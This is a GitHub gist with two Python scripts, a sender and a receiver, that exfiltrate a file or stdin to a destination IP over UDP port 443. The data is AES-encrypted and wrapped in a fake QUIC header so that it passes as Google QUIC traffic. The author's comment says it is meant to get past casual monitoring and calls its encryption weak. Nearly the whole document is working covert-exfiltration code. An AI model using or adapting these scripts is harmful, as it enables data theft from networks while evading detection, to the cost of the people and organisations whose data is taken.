Skip to content

Instantly share code, notes, and snippets.

@cetaSYN
Created December 2, 2019 03:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cetaSYN/0475c3069510a464d7ead092c3481911 to your computer and use it in GitHub Desktop.
Save cetaSYN/0475c3069510a464d7ead092c3481911 to your computer and use it in GitHub Desktop.
Exfils data while masquerading as Google's QUIC protocol.
#!/usr/bin/env python3
"""
File Name: quic_rx.py
Author: cetaSYN
Created Date: 4 May 18
Revised Date: 9 May 18
Recieves data from quic_tx.py, masqueraded as Google's QUIC protocol.
"""
from Crypto.Cipher import AES
from socket import socket, AF_INET, SOCK_DGRAM
from argparse import ArgumentParser
def main():
parser = ArgumentParser('Recieves from quic_tx.py, masqueraded as QUIC.')
parser.add_argument('password', help='Password for decryption')
args = parser.parse_args()
args.password = stretch_pass(args.password)
s = socket(AF_INET, SOCK_DGRAM)
s.bind(('0.0.0.0', 443))
# Keep the connection open
last_sender = None
while True:
try:
data, sender = s.recvfrom(512)
except KeyboardInterrupt as kint:
print('Closing...')
s.close()
exit()
if sender != last_sender:
print('\n{}{}:{}{}\n'.format('='*5, sender[0], sender[1], '='*5))
last_sender = sender
data = data[2:] # Strip QUIC header
cipher = AES.new(args.password, AES.MODE_ECB)
data = cipher.decrypt(data) # Decrypt
sec_len = int(data[0])
data = data[1:]
content = data[:sec_len]
try:
print("{}".format(content.decode('utf-8')), end='')
except UnicodeDecodeError as uderr:
print("{}".format("Decoding error.\nWrong password or mangled?"))
def stretch_pass(password):
""" Extend the password to 16, 24, or 32 bytes and return.
"""
while True:
pos = 0
if len(password) in [16, 24, 32]:
break
password += password[pos]
pos += 0
return password
if __name__ == '__main__':
main()
#!/usr/bin/env python3
"""
File Name: quic_tx.py
Author: cetaSYN
Created Date: 4 May 18
Revised Date: 9 May 18
Exfils data while masquerading as Google's QUIC protocol.
Data is received by quic_rx.py
"""
import struct
import sys
import os
from Crypto.Cipher import AES
from socket import socket, AF_INET, SOCK_DGRAM
from argparse import ArgumentParser
def main():
parser = ArgumentParser('Exfils data while masquerading as QUIC protocol.')
parser.add_argument('dest_ip', help='Destination IP address')
parser.add_argument('password', help='Password for encryption')
parser.add_argument('data_file', nargs='?', help='File to exfil')
args = parser.parse_args()
dest_port = 443 # QUIC uses UDP over 443
data = ''
if not args.data_file:
data = sys.stdin.read()
else:
if not os.access(args.data_file, os.F_OK):
exit('File does not exist.')
if not os.access(args.data_file, os.R_OK):
exit('No read access.')
with open(args.data_file, 'r') as dfile:
data = dfile.read()
if len(args.password) > 32:
exit('Password too long')
args.password = stretch_pass(args.password)
data_blocks = to_prefixed_blocks(data)
s = socket(AF_INET, SOCK_DGRAM)
packet_num = 6 # Start somewhere in the middle, past the negotiation.
for block in data_blocks:
cipher = AES.new(args.password, AES.MODE_ECB)
block = cipher.encrypt(block)
quic_payload = build_pseudoquic_payload(packet_num, block)
s.sendto(quic_payload, (args.dest_ip, dest_port))
packet_num += 1
def to_prefixed_blocks(data):
""" Returns a list of 256-byte blocks, each prefixed with content length
If block content does not total 255, it will be \x00-padded to 255
"""
b = bytes(data, 'utf-8')
blocks = list()
while True:
section = b[:255] # Pull out 252 bytes
b = b[255:] # Remove the cut section
if len(section) == 0: # Break if there's nothing left.
break
sec_len = len(section)
section = bytes([sec_len]) + section # Prepend byte data length
section += b'\x00' * (255 - sec_len) # Pad remaining with \x00
blocks.append(section) # Add to completed blocks
return blocks
def build_pseudoquic_payload(packet_num, data):
""" Returns inputted data, prefixed with a QUIC header
"""
# GQUIC
# 8 bit Public Flags, all default 0
# .... ...1 Packet contains a version
# .... ..1. Packet is a Public Reset
# .... 11.. Connection ID Length (None = 0/ All = 8)
# ..11 .... Packet Number Length (8/16/32/48)
# .1.. .... Multipath
# 1... .... Reserved
# 64 bit Connection ID (optional)
# 32 bit QUIC Version (optional)
# 32 byte Diversification Nonce (optional)
# 8/16/32/48 bit Packet Number
# No flags, packet number, payload
quic_payload = struct.pack('!2c{}s'.format(
len(data)),
b'\x00',
bytes([packet_num]), data)
return quic_payload
def stretch_pass(password):
""" Extend the password to 16, 24, or 32 bytes and return.
"""
while True:
pos = 0
if len(password) in [16, 24, 32]:
break
password += password[pos]
pos += 0
return password
if __name__ == '__main__':
main()
@cetaSYN
Copy link
Author

cetaSYN commented Dec 2, 2019

Exfils data while masquerading as Google's QUIC protocol.
Data is sent by quic_tx.py and received by quic_rx.py
quic_rx.py requires admin due to bind on 443.
Only supports text.

Encryption here is garbage, but it's quick and works for casual monitoring.
Definitely don't actually use it for anything ever.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment